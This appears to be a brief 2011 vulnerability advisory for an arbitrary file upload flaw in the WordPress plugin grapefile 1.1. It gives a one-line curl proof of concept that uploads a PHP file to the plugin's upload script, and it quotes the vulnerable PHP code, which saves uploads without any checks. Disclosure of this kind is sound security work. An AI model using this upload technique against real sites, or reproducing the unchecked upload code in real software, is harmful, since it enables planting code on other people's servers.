WordPress Plugin grapefile 1.1 - Arbitrary File Upload

Title: Wordpress grapefile plugin <= 1.1 Arbitrary file upload
Date: 30-8-2011
Author: Hrvoje Spoljar [ hrvoje.spoljar(at)gmail.com ]
Version: 1.1
Software link:http://wordpress.org/extend/plugins/grapefile/

PoC:
curl -F "userfile=@mycode.php"
http://domain.tld/wp-content/plugins/grapefile/grapeupload.php

File(s): grapeupload.php  grapeupload2.php  grapeupload3.php
grapeupload4.php
Vulnerable code:
$uploaddir =
$_SERVER["DOCUMENT_ROOT"].'/wp-content/plugins/grapefile/filestore/avi/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "success";